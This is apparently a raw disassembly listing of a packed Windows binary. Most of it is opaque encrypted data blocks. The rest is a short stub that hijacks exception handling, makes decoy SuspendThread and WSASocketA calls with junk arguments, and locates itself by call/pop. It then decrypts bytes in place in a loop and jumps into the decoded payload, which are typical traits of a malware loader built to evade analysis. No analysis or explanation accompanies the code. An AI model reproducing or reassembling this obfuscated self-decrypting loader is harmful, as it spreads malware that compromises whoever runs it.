0A8B72F2Ah, 4373CFABh, 151E2AFCh dd 94DEDCC9h, 0EDF2366h, 3D7CA602h, 46D55A95h, 0B5D471F4h dd 43551616h, 0B07EC1E5h, 6547DE84h, 0A5F6472Dh, 989680DBh dd 1DD8BFFAh, 6F9D6E7Eh, 1AE609BDh, 0AD26E604h, 0F85EAF00h dd 23EA9B7Ch, 8630F775h, 4192E3DCh, 7283D1B0h, 0B92052E6h dd 744BEFE5h, 31856BA8h, 0D5B908E0h, 1EFA5585h, 7B9BF3DBh dd 0DE53814h, 8E2E91B1h, 0C9EA21BAh, 80F06CB9h, 29E3B3D6h dd 439A6A81h, 63DA2B7Fh, 0DD41A238h, 0B852CDEDh, 0D307F13Bh dd 80229A6Ch, 3AEB5B29h, 6EB993E4h, 0AD0C3A24h, 2CBB5449h dd 0FFC517C7h, 8E7FD4D8h, 9D1C4AA8h, 64DC8895h, 0D5E1B732h dd 0CE8BEFCDh, 0D6AF2F80h, 701A68B3h, 36A5A7C2h, 0C1FFBB83h dd 5C9E1F61h, 7A3719Fh, 0F4061CE8h, 0B1051F28h, 0F1398860h dd 6C7AD505h, 0E5CBF670h, 0D92BBA94h, 35338479h, 196ABB1Eh dd 0DB7167C8h, 81B9B081h, 1F6FEF4Ah, 7A0FECF9h, 4A8D08C1h dd 81A84604h, 3D7646D8h, 0BD1322ECh, 0C59DDCA5h, 0A3B31376h dd 1ECB901Dh, 66C1EC8Dh, 0A5E48220h, 0AC47F611h, 0F24F080Ah dd 0D022CA47h, 98D27631h, 12FBACF4h, 8E0EAE18h, 22CF9EE2h dd 7242609Ah, 428E49B1h, 48D73F5Eh, 0A54CE278h, 0F2B65565h dd 0AF0B68h, 28FD6E87h, 97379F1Fh, 992F4658h, 6183D338h dd 0DDE6FD41h, 142B3B8Ch, 0D29F1E89h, 0DF90DF5Fh, 0ACA7DBC0h dd 0AD4674A9h, 119415D7h, 0E5548E2Ah, 7902B5D0h, 4FE6BF00h dd 354A1454h, 3AE3ABB7h, 0F2115015h, 95BAC8A4h, 0E8C7041Dh dd 5E2F8322h, 3CE38A7Dh, 885FAC1h, 1427014Fh, 680F8D48h dd 500B5CC1h, 0C5A72D8Fh, 943BE2EDh, 0B453AEAFh, 6D4A1A9Eh dd 0FE670EB5h, 0B472C6B8h, 8805CFADh, 0C8CF3AE1h, 50F8F034h dd 0BD467CA9h, 18BF670Ah, 7C242068h, 0EDEEBED5h, 8EB923Ah dd 91F80BB2h, 70C6EF40h, 6117BE65h, 0C51667B8h, 76EDA4CFh dd 0A68EB15Dh, 0F94A9A11h, 30D8B2C4h, 7FAF8FF7h, 4F05F320h dd 1E780CFEh, 0E971524Eh, 0ECB20351h, 0DB6FCB52h, 8903FCAEh dd 496142C3h, 0E0A2F341h, 0ED5EC1BDh, 46276BBCh, 85D626D1h dd 43BE2266h, 0E123E1h, 0FC935BACh, 0D5263470h, 0AD7F33C4h dd 0ED3E8E51h, 891A6B87h, 0E9321278h, 8972C311h, 0FCA34937h dd 9C81B985h, 0FA27F748h, 1198B64Ch, 0D5E0E6C0h, 0A4EAF1F1h dd 18921677h, 455FAB4h, 0AD58D8E8h, 405698E3h, 6F87D712h dd 0F142DBF0h, 95AD4F9Fh, 10B766B2h, 2DE95C28h, 1C18306h dd 7574D480h, 79D4FB5Eh, 7D0E80FAh, 70B2CBB8h, 0DF591AC1h dd 1CDC5735h, 84E19896h, 0EC128DACh, 0C49B24Bh, 398AC5F4h dd 0A94597E8h, 3885DEC2h, 70BE0128h, 0D67ACB1Ch, 649108DCh dd 18F22DCCh, 8827CA71h, 90F53C02h, 0D5264900h, 39DA3384h dd 4D9EEF3Ah, 96053C3h, 0DDDE67B8h, 38DF7EB2h, 550B64A6h dd 75D09BBEh, 0ABCEDA8Eh, 0F0458B64h, 0F7EC1E8h, 60BDD67Ch dd 9DF679B0h, 0CEB20354h, 0A6213F07h, 0DA2AA5D4h, 1A33FCF4h dd 51D8FBCDh, 155EAF00h, 6E9A6230h, 85041FF1h, 0C1E24F37h dd 13461793h, 185E58ACh, 5D3DB4E8h, 7D85D336h, 7CB9C242h dd 0A9FA5584h, 0B9360758h, 0A0FD431Bh, 0DF2E91B8h, 366BC4DDh dd 55B4D28Ch, 24678B04h, 0EE46DA81h, 0E1973EE7h, 4596E5C8h dd 0F8CA2879h, 3A0F5FDAh, 79E00EE8h, 0E48AB0D0h, 0A1C6863Dh dd 38FE4F9Eh, 57F787CFh, 31BC4E18h, 5B8A45D1h, 0ACE38A33h dd 59AC31CAh, 39203808h, 712273E4h, 631019F5h, 4CAE0139h dd 8A43B70Eh, 0C1E88B3Dh, 6DCE1F70h, 7E11E73Fh, 0F514B238h dd 0C98EA02Fh, 0FA470F2Ah, 29B0BBB3h, 6E032BA5h, 0A1F239B5h dd 4DAE94C3h, 0B67BBB1Eh, 0D7077777h, 0E57CF91h, 4D6C17B1h dd 195AABFCh, 0C5ACEBB9h, 0B4DF2374h, 0ABFCF748h, 66D34EF5h dd 0B5D47268h, 0EDBF41E7h, 2D7ECF88h, 0D0BE1851h, 5F6F47A2h dd 7D6C8464h, 0BD6EBF30h, 0AC32C1E1h, 981D0686h, 0D6CBDF52h dd 0D2CBFD7h, 0D9C1F031h, 0BB482742h, 0C47607B9h, 135EB88Bh dd 188B5BACh, 75C6170Fh, 392C4A24h, 0F04645DFh, 246FC6CDh dd 7B9B9FD3h, 0A8F5EE14h, 9D2E91B8h, 0E5EA3B8Ch, 588E0A46h dd 0E179A792h, 0CC622437h, 7C632BAEh, 5CC6E820h, 0EF1A1677h dd 0BD0E1FB0h, 88CC476Ch, 6E9E8840h, 0AAEF9640h, 20FF4BB5h dd 5D2C3234h, 0C92719C7h, 8EADCC2Dh, 9D1C4714h, 605AB0C3h dd 0B9B7B732h, 0A21F15FDh, 0E25BACEEh, 739AEB3Ch, 0DB7E3463h dd 6A18D0B4h, 919C273Eh, 0C9BA631Ah, 24F02F10h, 0FB7B797Dh dd 7D080E54h, 1107484Dh, 0E53687E2h, 626D5394h, 0E6BF544Bh dd 2747FF87h, 0AEA176C8h, 14E23D74h, 4D9EC8D9h, 0CC43ABFCh dd 7993F0A0h, 30D22374h, 53829BABh, 0F94A9CECh, 7C032BA8h dd 11220B21h, 0B2CB2F80h, 0E970A355h, 25F64798h, 4964FEC8h dd 0BC631236h, 0DB50272h, 78E609B9h, 39DB6C47h, 9AE7AC55h dd 0C9103E74h, 88AF2515h, 706A1AB9h, 13461A6Bh, 0B90A5AACh dd 0F0B26B68h, 3F6F83A7h, 0A9C18EE0h, 0ACFA5585h, 7B9BBFD3h dd 0AC6AC414h, 62B76F86h, 99C06E04h, 489EBD7Fh, 191C2C01h dd 500E2DBFh, 4DAE359h, 1BBB77B3h, 0E9BE7BF4h, 7F0D5FB0h dd 3CC97464h, 0B2F15D78h, 40425DFCh, 0E316CA1Bh, 69BA0B5Ch dd 28743B08h, 0F229C5Fh, 34EED190h, 67827ECFh, 1766B708h dd 673640C4h, 1C5922BAh, 499AB564h, 1A56ABF8h, 4765D9B6h dd 54CEF198h, 7A25EAFh, 0F58697E8h, 3BFB60A4h, 17800D59h dd 58DC751Ah, 0ECB090BDh, 0A38C81C2h, 301BDD9Ah, 3BF397BAh dd 9D2802A4h, 68BAB801h, 5C9EEF4Ah, 7014DD80h, 49C122C9h dd 38D24D6Dh, 538729BBh, 79DD4EECh, 64066999h, 7FABE1D7h dd 99014C20h, 5E3A95C5h, 0BBDBBB03h, 0CB645454h, 45190A10h dd 202AA5D5h, 0CBEF8513h, 79553644h, 4C5EE101h, 0F713394Fh dd 0B981B478h, 78920D2Eh, 1343C39Bh, 26E725ACh, 75942ECAh dd 481A30A1h, 303E8FAAh, 0A9FA4BB4h, 6650E458h, 50DCD893h dd 0ED067FBAh, 0E16D7C85h, 0DAA6C953h, 59E37244h, 8E23DF81h dd 0B7EDC3FFh, 35B9A638h, 2E52B9F4h, 998D01B4h, 0AB61F50h dd 0CD26C653h, 48EF9628h, 8166542Bh, 1B75E02h, 741BC246h dd 67F5533h, 8F1AF1B8h, 59AA18D4h, 0BABED708h, 0DE0FB65Dh dd 711AA687h, 950D706Ch, 805699CAh, 42385B84h, 0D0D02196h dd 39F2A50Fh, 704672E8h, 0E3026968h, 0EB293A90h, 0AC7AD501h dd 0F3B58F94h, 75FF2670h, 0A32FFEFBh, 0E3E92310h, 0C4FE9239h dd 324FF69Dh, 4D2A97FDh, 0BA03ABFCh, 0C5165210h, 81BD7B74h dd 5D50DF30h, 0F95A13ECh, 0C51E57A8h, 0B3C21364h, 0B216CFFCh dd 813A8BDBh, 0A5F64795h dd 0E6B2D712h, 0EA72E35Ch, 0D9C2FAE6h, 6DC630FCh, 51A2F344h dd 0FD3A0375h, 4A34F207h, 5BFED81Bh, 6246BB34h, 0BFED2AD1h dd 0B8105BB0h, 7AC71866h, 23B6CF5Fh, 0C2A8B391h, 0BEB9C649h dd 0C90E4Eh, 15B1h dup(0) assume ds:_data ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near push ebp mov ebp, esp call loc_100F412 call sub_100F4CD jmp near ptr byte_100F47B start endp ; --------------------------------------------------------------------------- loc_100F412: ; CODE XREF: start+3p push dword ptr fs:0 mov fs:0, esp add ds:dword_100F47C, ebp xor eax, eax push eax push eax push 80h push eax push eax push 20h push 80000000h push 80000000h push 1 push eax call ds:SuspendThread ; SuspendThread xor eax, eax push 200h push eax push 10h push 800h push 80000000h push eax push eax push 800h push eax push 80000000h push eax push 400h push eax call ds:WSASocketA ; WSASocketA ; --------------------------------------------------------------------------- byte_100F47B db 0BDh ; CODE XREF: start+Dj dword_100F47C dd 0 ; --------------------------------------------------------------------------- mov ecx, [ebp-8] mov fs:0, ecx cld cld cld sub eax, eax loc_100F48E: ; CODE XREF: .rsrc:0100F494j dec al or al, al jz short loc_100F498 jnz short loc_100F48E jmp short loc_100F4FF ; --------------------------------------------------------------------------- loc_100F498: ; CODE XREF: .rsrc:0100F492j call $+5 pop esi add esi, 3Dh sub edi, edi xor edi, 289Ch cld cld sub ecx, ecx add ecx, 3Fh cld cld push esi loc_100F4B9: ; CODE XREF: .rsrc:0100F4C7j mov al, [esi] sub ax, cx xchg al, [esi] cld inc esi sub edi, 1 or edi, edi jnz short loc_100F4B9 pop esi leave jmp esi ; =============== S U B R O U T I N E ======================================= sub_100F4CD proc near ; CODE XREF: start+8p arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_100F4CD endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 3F27h dd 373F3F3Fh, 3B6343CAh, 6E0ED7C8h, 0BF363F3Fh, 3F3F67C9h dd 0BF3F3F3Fh, 43639BCAh, 0C8986CB3h db 0EFh, 12h, 6Eh ; --------------------------------------------------------------------------- loc_100F4FF: ; CODE XREF: .rsrc:0100F496j aas aas xchg eax, esi into mov edi, 3F3F6E16h mov edi, 3F67CDF7h aas daa mov ah, 4Ch inc edx xlat into db 67h aas aas retf 419Ah ; --------------------------------------------------------------------------- dw 723Eh dd 0D7CA472Ah, 3F3F67CFh, 949A723Eh, 0ABC027CAh, 0BF1E4363h dd 2CC03F3Fh, 3F754F44h, 4363BBCAh, 77DBF4CCh, 3FF83F75h dd 323F3F3Fh, 3F8D27E3h, 7CA3F3Fh, 3F3F8627h, 0B3006A3Fh dd 403F7C56h, 0C4CC3F3Fh, 3F754F14h, 8FC949B6h, 3F71272Fh dd 7E2A3F3Fh, 77CEC436h, 3F3F3F75h, 5DB3BF3Fh, 77D2F4CCh dd 0BBCA3F75h, 0E4E34363h, 7E17F4CAh, 0FCCA3F75h, 3F757E1Bh dd 7E13DCCAh, 29C3F75h, 8102704Eh, 0F9F831C9h, 6F3F3F66h dd 7F15414Fh, 2023821h, 0F43705A6h, 5BAA8EB2h, 68B0FDFFh dd 0C8E01527h, 0A96726E3h, 0F0FA4018h, 5B43F4F6h, 64F057Ch dd 190229F0h, 58C24CF3h, 0F1275E5h, 32D25C03h, 0BEA6488h dd 5B195ACh, 7AB082E3h, 0E02E7AC3h, 0E3B6184h, 0CE08E32Dh dd 3DD3BE16h, 0FAC36BD6h, 9CE6D466h, 0C77A5F67h, 0B082B467h dd 30023847h, 4907C9EBh, 0BCFB0C8Bh, 0BACF3266h, 86CB3971h dd 3B5634A3h, 48016A24h, 764FF581h, 403FFDBBh, 7DA8E235h dd 76A5CA28h, 9998E139h, 2A35600Eh, 9B520F60h, 0B17C45EBh dd 5EBE35F3h, 3060F107h, 377982EFh, 8FBBE2h, 5E10FF6Ah dd 0E1956425h, 0E9AA244Bh, 0FCEFEA2Bh, 84C674AFh, 96BEAD42h dd 9FDBC7Dh, 96DECDC8h, 19D794D4h, 36CD22DBh, 0DEE8A551h dd 6544D077h, 43F77F4Ah, 73148FF0h, 0C18C4883h, 380FF798h dd 0D1BC5492h, 611FE788h, 7ECF4226h, 0F02FED99h, 4B2C0910h dd 26C2FDBBh, 897D1243h, 1615D8CBh, 996D0386h, 9BD496DCh dd 26670FDEh, 83645958h, 363004F3h, 0F3BAF340h, 0A1A7F603h dd 0D18F4C81h, 4F0C28CAh, 0A29F6726h, 6DA6784Bh, 0F1AF6D77h dd 0FABB0BEh, 0E9827CFBh, 1C79543h, 28110AC4h, 6D2F9561h dd 0C7DF9DB2h, 677CD863h, 0B6EF9756h, 537BB833h, 0D4FFBD7Dh dd 59077208h, 3C9ACDB9h, 5912AA2Ch, 614C5E9Bh, 0E627CFB3h dd 43213C38h, 49C84B3h, 0A12B7CDDh, 81A1794Eh, 1E884DFEh dd 0AB422A40h, 28CA6CDBh, 0B9BEAE97h, 646BE891h, 0BA77341Bh dd 0FF1440FBh, 48876F3Eh, 91146D47h, 0D706D11Ah, 7365D1Bh dd 1A88B23h, 71AF692Bh, 0FAB775DBh, 0BF54003Bh, 8EC7AF7Eh dd 8F53800Bh, 0EFD79555h, 21074D5Bh, 0BFE7A163h, 3D97EE6Bh dd 0E9F85BA2h, 42FFBE93h, 879CB883h, 0B90FF7B6h, 5918D59Dh dd 58E14AE2h, 6E3FE591h, 1A2FEDABh, 7937F364h, 0E098FD55h dd 0F441EBCDh, 0A36AB758h, 0D8287CD3h, 9881A25Eh, 0A46725D1h dd 0B1711967h, 0B97D5DF3h, 154D3DFBh, 0C94389BFh, 0E86DDA72h dd 6E145521h, 0E1954851h, 56242E16h, 0F1855465h, 912A7784h dd 1BF7BC9h, 30B53AC6h, 1CCF8D79h, 19D995CFh, 6B64145Bh dd 54E78F5Eh, 0B67EAE9Bh, 39CD8011h, 78653AF6h, 0B976C5B1h dd 6094408Ch, 0D017DFABh, 531A8B18h, 6AD798A3h, 49096A22h dd 0F6B2F581h, 8175C4E9h, 7A361BA6h, 54D480CCh, 10571FEBh dd 935A3F50h, 0D46044E3h, 36FE2E1Ch, 0B94D0D1Fh, 0C1808593h dd 1D34CA03h, 588F772Fh, 0AB97BB5Ah, 0E54F2044h, 0FFAA06A6h dd 24C86CEBh, 0E15175DDh, 169ACAB0h, 12708571h, 9ECF8D4Bh dd 64A55A4Fh, 8805E022h, 2924A1E8h, 0D3EFAD6Bh, 3D3E3ADEh dd 0CE638BD6h, 7B32C510h, 0DAF5618Bh, 0D8B22F95h, 1641DBDDh dd 69C1B12Eh, 71DE9943h, 8F737CB3h, 670374BBh, 8947EDC3h dd 51B905CBh, 93B1C304h, 0F7F4600Bh, 71670FDEh, 59AF696Eh dd 0B977D87Fh, 0C1696976h, 961098Eh, 0CF794DE5h, 3197BBC5h dd 0E19FB067h, 0FF7865CDh, 66CEBD52h, 0F98D4C55h, 7C44A6E2h dd 0ACE014Ah, 0A65C8D4Bh, 19ED8553h, 21EAE2E4h, 58862C63h dd 319C2EC8h, 0B6F77F63h, 731386F8h, 9967B883h, 0B72F2357h dd 2F8CA8EAh, 0E61FE7A6h, 5DDC38E3h, 71303DC3h, 79289DB3h dd 6692FDBBh, 7EA9E2FFh, 7AA1DD2Ah, 7EB3FE21h, 745FFA3Ah dd 0A96CF68Bh, 69C450EBh, 0C477FFCAh, 0F3BACF68h, 5EF69003h dd 0D1A5743Dh, 0D77155FDh, 0D841CA62h, 0C1106511h, 64AF6D2Ch dd 0F530161Eh, 7C16A917h, 3BF21FD0h, 90A5BC4Bh, 2BE353F0h dd 0F4339D5Bh, 1041321Ah, 7174AD59h, 0B83D4F7Fh, 2BF1B901h dd 412B31FAh, 77F9CD65h, 60B942EAh, 21A4DDA9h, 1BAB94Fh dd 712FEA24h, 18A8BE86h, 3FC4C685h, 7E472FF7h, 0B5AB8EFDh dd 67AAF4EFh, 2247E92Eh, 0A965BDA4h, 61A3FDEBh, 69A7E621h dd 1714402Eh, 4E876F3Eh, 0DC63964Bh, 0D1BBA16Ah, 0DD61DA92h dd 0AEBF6511h, 20CE1050h, 0C089E24Ah, 8BAA7D09h, 0ADFC1C4h dd 6C068D4Bh, 2BE2A3C0h, 0F74E05Bh, 42E78F5Eh, 4C8ED483h dd 39116B73h, 41E9BD95h, 4ADFC56Dh, 0D80FC98Bh, 89173BCFh dd 25AAD175h, 91FD83DAh, 712FD972h, 1F4FBE86h, 0E3E80C2h dd 0BB5CCD50h, 4280DBCBh, 0ABCC6803h, 205F27E6h, 262A059Fh dd 69A72D24h, 940B352Bh, 0CB623DFBh, 0C9884503h, 0D18F4D0Bh dd 0D9975513h, 0C92E5D1Bh, 0E9A76523h, 23606D2Bh, 0C32C08E6h dd 0A8BF4706h, 494B299Ch, 7BB1F4B8h, 0EE4C1A16h, 0EFDFA744h dd 107D321Ah, 0B678AD59h, 39CD88ABh, 41FFA713h, 0A4E60983h dd 81DF3A66h, 0B2ED3E65h, 86C63A6Fh, 9EC30671h, 0A12F2E48h dd 400562CAh, 6C8FD89h, 897D3817h, 7291D18Eh, 7A95F226h dd 6C83FA30h, 488CCB05h, 63ABDC17h, 589CE4FFh, 306B3D07h dd 2E63B3EFh, 1F524DE1h, 3E6BB6F0h, 64BB6D9h, 176A65E4h dd 16438EC8h, 1E539EF1h, 0F12F9EF0h, 0CA2E67ACh, 0F6214C4Bh dd 0C93C61B4h, 0C60270ADh, 29285496h, 0D2145BAEh, 0DE29527Fh dd 0A6F35090h, 0AEF92D4Fh, 900F296Ch, 0ADF83265h, 8FC70978h dd 69CB0640h, 92D41B6Eh, 94EB123Fh, 66A71152h, 0B77AF527h dd 61B0DF1Eh, 6DB6FD26h, 4A97DADBh, 577FF10Fh, 0B193CE08h dd 5E93DE31h, 266CD627h, 325AA8CFh, 3E74B9FEh, 3E74BEBFh dd 651971Bh, 740A9C0h, 0A418EDDh, 0D5CB033h, 0E62B96F9h dd 0F73B7184h, 0E5246BA4h, 191864B0h, 0E3137A9Ah, 0F80C498Ch dd 31145384h, 0FB0B52B2h, 95E45194h, 49EC2A6Ch, 9EE32A4Ah dd 0B5EC317Ah, 8BC01578h, 0AACC093Fh, 85D428ABh, 89D4125Fh dd 66AB1679h, 6EA4E609h, 76960D0Ch, 76BCC11Fh, 5580CD2Bh dd 6C67E60Bh, 56A5D908h, 5490C405h, 26463D11h, 376C8FEFh dd 3B7EA6FEh, 0D958ADD0h, 3353BADAh, 65C89CAh, 135DA6C8h dd 1A5483DAh, 0EB2E96C7h, 0E4038584h, 0FA1B69ACh, 0E73863B5h dd 0EEDF5EA4h, 0C23D5584h, 0D33E5888h, 0DE135EB1h, 0A6EF707Bh dd 0A5E0FF69h, 0A1F00268h, 0BCF53E63h, 91EEDD5Ch, 97F70740h dd 80D40C42h, 87E7F546h, 70A41C52h, 4B793436h, 65A2FB24h dd 74A9C5D3h, 5092FA3Eh, 4EA513D6h, 606FD913h, 52BDC110h dd 3540DA0Fh, 2760B3EFh, 2074B9F8h, 3E4A55D4h, 0D4897E7h dd 640B1C0h, 1D626DC8h, 0F94792D0h, 0F53286EEh, 0E21B6AA0h dd 0FC036AA0h, 0FE337E91h, 0C60C7687h, 0C6057263h, 0DA255D8Ch dd 0DB364090h, 0A6EB56B9h, 0B7E00F83h, 0BDF03A77h, 0B4F33954h dd 8FF6DD7Eh, 0ABCC114Ch, 71D40144h, 9DF80179h, 75B20A55h dd 7BA0F313h, 74B4E124h, 748BE430h, 0A18DFA36h, 57AAD129h dd 5683CE08h, 5E93DE31h, 73EFFBh, 3D68A2F5h, 3C619DE8h dd 286AB2F6h, 20538F1Bh, 1D4882D5h, 1C41BDC8h, 84A92D6h dd 0CBBF85F8h, 0EE3944AFh, 0C03479ACh, 0F22B74B0h, 0EBDF6FB2h dd 0CE19648Fh, 0E614598Ch, 0E9095286h, 0A6E2508Dh, 83073476h dd 0A1F00277h, 0ACFC3E41h dd 86F23752h, 84C01146h, 85FDED41h, 93DC057Ah, 66AB1679h dd 44BBC7C3h, 41BDEA3Bh, 7EBAF825h, 4CB3EC2Eh, 0A985C20Eh dd 41BED921h, 5EAAD710h, 2C68C91Eh, 3D4545E9h, 257EBBDBh dd 0B6BB4F0h, 1653ABF4h, 0E6489C4h, 0A4180C0h, 2A4BB733h dd 0FA319AC8h, 0E42D678Ch, 0E53062BDh, 0CD3578BCh, 0CB0474B2h dd 0FC1B6763h, 0D603469Dh, 0CD095EA1h, 8EEB5E88h, 0B7E62A60h dd 0A5C1CD74h, 0B2F50277h, 86C3307Eh, 82D91176h, 9CE30841h dd 92CA1774h, 6AB1096Eh, 5C47E029h, 6582CE1Eh, 6EABE334h dd 4D821D2Bh, 588CD40Ah, 569ACC02h, 549A35FFh, 2064CF11h dd 2E6E45EFh, 207EA5F7h, 3360B3DFh, 0E144B2FCh, 1B4A82D5h dd 1B549C2Bh, 144A75CFh, 0F52494DEh, 0FD254E43h, 0F63D7BA8h dd 0F433549Fh, 0C2277AAEh, 0CE034189h, 0C51D666Bh, 0DE154390h dd 0B5E47887h, 0A3E52846h, 0B6E32C68h, 0BAEB046Fh, 0AA1F3A67h dd 97CC1149h, 0BCC30A41h, 0BAD51243h, 75AD36BBh, 6EA5F320h dd 769FC037h, 75A9C239h, 4BA81D1Ch, 4399C20Fh, 56A1D908h dd 52BDD114h, 27FDA0Fh, 19488FBFh, 0FBA17CC4h, 0D95399CFh dd 2046BACDh, 0E5A88C7h, 0F1488AE6h, 345E92E5h, 0C82D9ACBh dd 0F10C7EA0h, 0F6018D8Ch, 0FE2C46B2h, 0C23566ADh, 0EE0C5287h dd 0DFEF6E93h, 0DE2A5090h, 0ADE06787h, 0B1CC2270h, 60C5CD4Ch dd 8B193BE1h, 87735449h, 975633A4h, 0E64E37B3h, 790DC867h dd 5395B936h, 0F49DD511h, 62E153Bh, 996D2C9Dh, 7B6F595Eh dd 26672DA5h, 0F95A5424h, 0B977DD24h, 0D0C55FBh, 0C961441Fh dd 1404AE5h, 509CBBC6h, 0B52A8D4Fh, 2941B1F3h, 8C62BBFCh dd 0CB8203A0h, 0D83FC3Bh, 30B1123Ah, 55528D79h, 8E54D45Bh dd 21D5A45Bh, 2901EE56h, 31BF45BDh, 7D72B545h, 81E96EACh dd 51E11653h, 85178D0Eh, 24C7D77Dh, 531AAF08h, 496B64A3h dd 31B4BB9Eh, 0C796EBAh, 0BF6225E5h, 0F47AD086h, 0EC2E4EA3h dd 3EDB18AAh, 715F1DDBh, 0A986510Bh, 5723A4EBh, 4F33BCF3h dd 0C17FD53Bh, 0C7614513h, 398FA3DDh, 0D997B85Fh, 30705DF5h dd 873C18F3h, 2CAF5716h, 0C72C08ECh, 86BF4706h, 8038713Ah dd 23C40DC0h, 96D3F453h, 13EF9DC8h, 0FCB8A463h, 0B8A1D0BEh dd 0BC2F7F0h, 268E327Bh, 2107C5A2h, 2C6EB0A6h, 607D521Eh dd 0ECACDDA9h, 6927CD95h, 0C4EF3C3h, 27BC7CCAh, 0E3FC786h dd 895F3E4Ah, 0EC5865CBh, 1ED268AAh, 0A1552489h, 899B6560h dd 99B5A060h, 0CD0F35F3h, 48FE4081h, 0FBB21780h, 25CFCA0Bh dd 816DA1Eh, 899F5D33h, 94D6177Ah, 0B06E28A6h, 0F9B71DE0h dd 821C7D3Bh, 3BD29128h, 9E98BC4Bh, 2BC50DD0h, 0F2334E5Bh dd 0FA3875B4h, 82D3A12h, 3D7EB541h, 6F94C057h, 9607EFBEh dd 860FC9CDh, 5917D5FBh, 0EA0029Bh, 691DFC66h, 0E6BC9045h dd 790DECB9h, 0A10C2B6Bh, 896105DFh, 735B494Eh, 808B9292h dd 812C1DE9h, 0B0BDA2A2h, 0B1532DD9h, 0F8A435DDh, 0A9572315h dd 0C987450Ch, 77708B80h, 0A96C1E69h, 2D34B65Eh, 0EEA74F17h dd 2FB765A7h, 0C573E2BCh, 5FB67D09h, 99F5206h, 0CECF8D4Bh dd 44FAD4h, 0BE6A9D69h, 29DD99B3h, 39D351EEh, 827BB873h dd 0C2FFBD7Bh, 4909CDE7h, 55F7198Bh, 2417D594h, 531A5708h dd 0E6536CA3h, 7233C927h, 8FE7F5B3h, 814395BBh, 579D05C3h dd 0EC860D1Dh, 0AB629340h, 2E282CDBh, 0A9682172h, 57A0FEEBh dd 0BA91E6F5h, 0C17F3D13h, 5EF693C3h, 0D1A574C1h, 2DEDD281h dd 9738DC6h, 0E9A7661Fh, 0D50310FAh, 0F9B77313h, 3DEDEA42h dd 8E108571h, 70C5790Bh, 4D52453Fh, 0F2319DB5h, 0BE966FB2h dd 31C59429h, 0CEB732ACh, 0D67E672Bh, 493DFCB5h, 7FD31800h dd 81DB3B42h, 62234810h, 5882E5A3h, 0AA1F03EBh, 0A9E75CC6h dd 518F2D6Bh, 1E36D313h, 91653419h, 974F5154h, 551E1DDBh dd 3E162DBFh, 0B14511F1h, 0A3EC4826h, 1E7F07BFh, 49874145h dd 0D2644331h, 2514DCD1h, 809F6708h, 0E93CEA3Ch, 0F0AF573Bh dd 0A7C69F64h, 89CE3DB7h, 9C7865Ah, 12BF0942h, 23579553h dd 0E3EF6A65h, 24E797E3h, 31F0AEE7h, 19C53573h, 0C2C5CE88h dd 83C015B9h, 0D8D13A4Ah, 5ADD8FDAh, 0B26DF452h, 0BBF8E54Dh dd 63A4907Eh, 0A237BF87h, 64EBE86h, 8947059Ah, 8BDB8A40h dd 99B115E1h, 0A15F1133h, 0D4BAF5E3h, 834B3778h, 0B9730AF3h dd 468E3DFBh, 0C98745BAh, 0D18FFE64h, 9A5D613h, 0EC7596CDh dd 0E9A7C2A0h, 0F9F5EC2Bh, 0F4B44997h, 1BFE6B7h, 0FEE7B943h dd 27EB213Eh, 1953125Ah, 2E4C9D5Bh, 9C78543h, 0D6168E50h dd 9506427Fh, 0BDF49D3Fh, 69763704h, 0A6E33963h, 58E55664h dd 4C0EE36Bh, 0AC6D0D50h, 423EEDD2h, 791EE50Dh, 4F2188BBh dd 0B0FD92BAh, 0D1620DF9h, 4987C503h, 0A15F16B3h, 5C86E1E3h dd 529EC101h, 2E06350Fh, 0C1B501D9h, 0FB7B0580h, 5618063Eh dd 0D9AD69C3h, 0DF9FB5CCh, 3A78E523h, 66CEBDF9h, 0F98D491Dh dd 1856EAB0h, 38178571h, 0C1005904h, 64084685h, 13DA3FC8h dd 0DEB2063h, 8C13A12h, 787FB541h, 56EE32FBh, 3208C5B1h dd 0B71023CEh, 242AA894h, 765ED96Eh, 0AFDBA520h, 21BAB49Eh dd 0A93AFC06h, 38F4727Fh, 472FD8h, 91500175h, 91D19CD3h dd 0A05F1DDCh, 49220C9Bh, 13026466h, 7C7CC114h, 0EBEA4A9Dh dd 18860086h, 58460186h, 2F4B853Fh, 7718EDBh, 973C185Ah dd 78AF5716h, 0CB828FB8h, 0D83FC3Bh, 624AC86Eh, 0F7D6C84Ah dd 92D7FD53h, 0F0A29C92h, 0FC3B5FAAh, 0ED347BACh, 0C71A5EB8h dd 0A3EE4C92h, 0A2DE196Fh, 0A4FE2961h, 0AEDA0966h, 8BC42B6Dh dd 97CC2F4Fh, 9BDE065Eh, 89BF3267h, 66B1104Fh, 6A9B0535h dd 65B4E83Dh, 6DAAF81Bh, 0A15F1BDBh, 0A9672533h, 5081C6EBh dd 5281170Fh, 31ADD718h, 24545E7h, 20AF84CEh, 2273B7FBh dd 0E74AA9F1h, 376CB4F0h, 3C79990Bh, 0DB97B7FCh, 0F53196C9h dd 611C8BB0h, 11CF8D4Bh, 83B41688h, 63DFA741h, 1BFC48E0h dd 0A68EAD6Bh, 39CD8CFDh, 0B51ED53Ch, 0C0152BB7h, 632A0B38h dd 65B30E93h, 83092AB1h, 7656D724h, 0CEBCCC58h, 790DC971h dd 54410736h, 6ECDF60h, 0A366B448h, 0FADC98D3h, 0D75F27EAh dd 2511DF6Ch, 20A4F21h, 0D03653F4h, 0B8A7552Bh, 350A387Ah dd 26934527h, 0D98F3DCFh, 23725D1Bh, 256B47E6h, 66CE6DDFh dd 0F98D4CA1h, 0E333D36h, 0D8C96BD6h, 28ED1A32h, 49A69561h dd 5B7DF5CEh, 207FD81Ah, 0E0EFAD6Bh, 0F42674B1h, 8DC38FAEh dd 0DE76C547h, 5125F419h, 246554FBh, 1325B5E2h, 0E65698DAh dd 7105FBFEh, 0FEB4BE86h, 8175C0CBh, 5A98D614h, 4280DE1Bh dd 0A0C982AAh, 0A8071DE9h, 7E6725E3h, 80A1EA3Eh, 75BB17C5h dd 56FE3D2Fh, 0C9BD7C91h, 0D18F4363h, 296AA013h, 154DB6EDh dd 39A7A6C1h, 0C88DFA52h, 7E307501h, 1F544F9h, 8644B64Ah dd 11E596B8h, 251312DCh, 5C309D69h, 1BD22FF0h, 35173C6Bh dd 0B6F7B573h, 73183BC8h, 0F6841E83h, 5125F1BDh, 246C9EFBh dd 0E66637E2h, 691DF740h, 0D6B23DABh, 790DE752h, 0A6D472BBh dd 59472FD9h, 7750E317h, 97AFC3D3h, 